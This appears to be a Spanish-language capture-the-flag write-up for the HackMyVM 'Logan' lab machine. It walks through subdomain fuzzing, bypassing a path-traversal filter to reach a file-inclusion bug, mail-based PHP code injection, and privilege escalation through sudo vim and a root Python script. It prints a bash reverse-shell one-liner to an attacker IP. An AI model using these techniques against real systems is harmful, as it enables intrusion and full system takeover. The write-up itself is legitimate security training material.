Home Logan Hackmyvm
Post
Cancel

Logan Hackmyvm

El dia de hoy estaremos resolviendo la maquina Logan de la plataforma de HackMyVm, Aqui dejo el enlance para descargar la Maquina

Enumeracion

Empezemos enumerando que puertos tiene abiertos la maquina victima usando la herramienta nmap

❯ nmap 192.168.0.18
Nmap scan report for 192.168.0.18
PORT   STATE SERVICE
25/tcp open  smtp
80/tcp open  http

Solo tenemos dos puertos abiertos el 25 que corresponde al servicop smtp y el 80 Que es un Servidor Web

Dectectemos que version corren para estos Puertos.

❯ nmap -sCV -p25,80 192.168.0.18
Nmap scan report for 192.168.0.18
PORT   STATE SERVICE
PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=logan
| Subject Alternative Name: DNS:logan
| Not valid before: 2023-07-03T13:46:49
|_Not valid after:  2033-06-30T13:46:49
|_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host:  logan.hmv

nmap nos reporta un dominio logan.hmv agregemos este dominio al archivo /etc/hosts

❯ echo "192.168.0.18 logan.hmv" | sudo tee -a /etc/hosts

Veamos la Web.

Si nos ponemos a enumerar directorios o archivos en esta web nos encontramos con que no hay nada pero todavia nos queda enumerar subdominios para esto voy a usar la herramiento wfuzz y voy a usar un diccionario de seclists que es un repositorio de github el cual puedes clonar en tu equipo.

❯ wfuzz -c --hh=65 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.logan.hmv' -u http://logan.hmv/ -t 100

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://logan.hmv/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                       
=====================================================================

000000024:   200        62 L     101 W      1112 Ch     "admin"

Encontramos un subdominio agreguemoslo al archivo /etc/hosts

❯ echo "192.168.0.18 admin.logan.hmv" | sudo tee -a /etc/hosts

Veamos como se ve este subdominio

Tenemos 3 campos pero el unico que esta funcional es el de Payments

Al entrar en este nos pide un code y nos muestra como ejemplo 01 y 02

Si pobramos poniendo cualquier numero nos muestra el siguiente mensaje.

Pobremos poniendo el 01 que es el numero que nos muestran de ejemplo, este nos devuelve un Contenido.

Voy a interceptar esto con burpsuite para ver como se esta tramitando la peticion.

Lo raro en esta peticion es el parametro file y el error que nos da al momento de poner un numero como el 1 que nos dice File does not exist por lo que posiblemente se pueda aconteser un LFI.

Intentemos aplicar un Path Traversal y apuntar al archivo /etc/passwd pero de esta manera nos sigue diciendo que el archivo no existe.

Puede ser que se este aplicando algun tipo de sanitizacion y nos este quitando el ../ pero como vamos a ver en el siguiente ejemplo esto tiene que estar bien sanitizado para que quite todos los ../ y no solo el primero.

Aqui muestro un ejemplo usando la function str_replace de php.

Hacemos el mismo Path Traversal que aplicamos desde Burpsuite y observamos que nos queda simplemente la cadena etc/passwd

Esta funcion no es muy segura ya que si en ves de poner ../ ponemos ....// al momento de quitar el ../ no quedaria otro ../ Veamos un ejemplo de esto.

Apliquemos esta teoria en la web para ver si podemos llegar a visualizar el archivo /etc/passwdy logramos bypassear la sanitizacion que esta aplicando la web y visualizar el archivo.

Shell - www-data

Veamos Si tenemos capacidad de leer los logs de SMTP que es el servicio que esta expuesto, la ruta por defecto de este archivo es /var/log/mail.log

Tenemos capacidad de ver los logs.

Este Log en principio no nos sirve para aplicar un Log Poisoning pero tenemos otro camino para llegar a inyectar comandos.

La idea es la siguiente al momento de enviar un Correo de un usuario a otro en el maquina se guarda el correo y el contenido de este en la ruta /var/mail/<username> donde username en este caso va hacer www-data

Veamos nuevamente el archivo /etc/passwd para identificar algun usuario.

Identificamos al usuario logan usemos este para enviar el correo.

Voy a usar telnet para conectarme al servidor, MAIL FROM es para indicarle quien envia el Correo, RCPT TO para indicarle quien es el destinatario y DATA para indicarle el mensaje que queremos enviar, En el mensaje voy a injectar codigo php atraves del cual con el parametro cmd pueda Controlar el comando a Ejecutar.

Como indique anteriormente la ruta en la que se guardan estos correo es en /var/mail/<username>, Veamos este archivo y comprobemos Si tenemos capacidad de ejecutar Comandos.

Podemos ver el mail que se envio correctamente.

En el Codigo php que mandamos definimos un parametro cmd para ejecutar comandos, Ahora simplemente agreguemos el parametro cmd y pongamos un comando para ver si nos lo interpreta.

Funciona correctamente.

Para enviarme un ReverShell voy a usar el siguiente OneLiner

bash -c "bash -i >& /dev/tcp/192.168.0.14/443 0>&1"

Tenemos que Urlencodear todo el comando.

Ganamos accesso a la maquina.

Shell - logan

Listando nuestros privilegios a nivel de Sudoers podemos ver que tenemos la capacidad de ejecutar el comando vim como el usuario logan.

Atraves de vim hay formas de escapar de este contexto para ganar un shell, si no vamos a gtfobins no muestran como obtener una shell usando vim

shell - root

Listemos nuevamente nuestros privilegios a nivel de Sudoers.

Tenemos capacidad de ejecutar con python3 el archivo /opt/learn_some_python.py como el usuario root

Intento ver el contenido del archivo /opt/learn_some_python.py pero no tenemos capacidad de lectura.

logan@logan:/$ cat /opt/learn_some_python.py
cat: /opt/learn_some_python.py: Permission denied

Ejecutamos el archivo y nos pide un input el cual nos muestra como ejemplo un print('hello'), lo ponemos y nos muestra el mensaje que le indicamos.

Parece que podemos ejecutar codigo en python libremente por lo que podemos importar la libreria os y ejecutar un comando.

Ahora simplemente ejecutamos un /bin/bash y tendriamos una consola como el usuario root

This post is licensed under CC BY 4.0 by the author.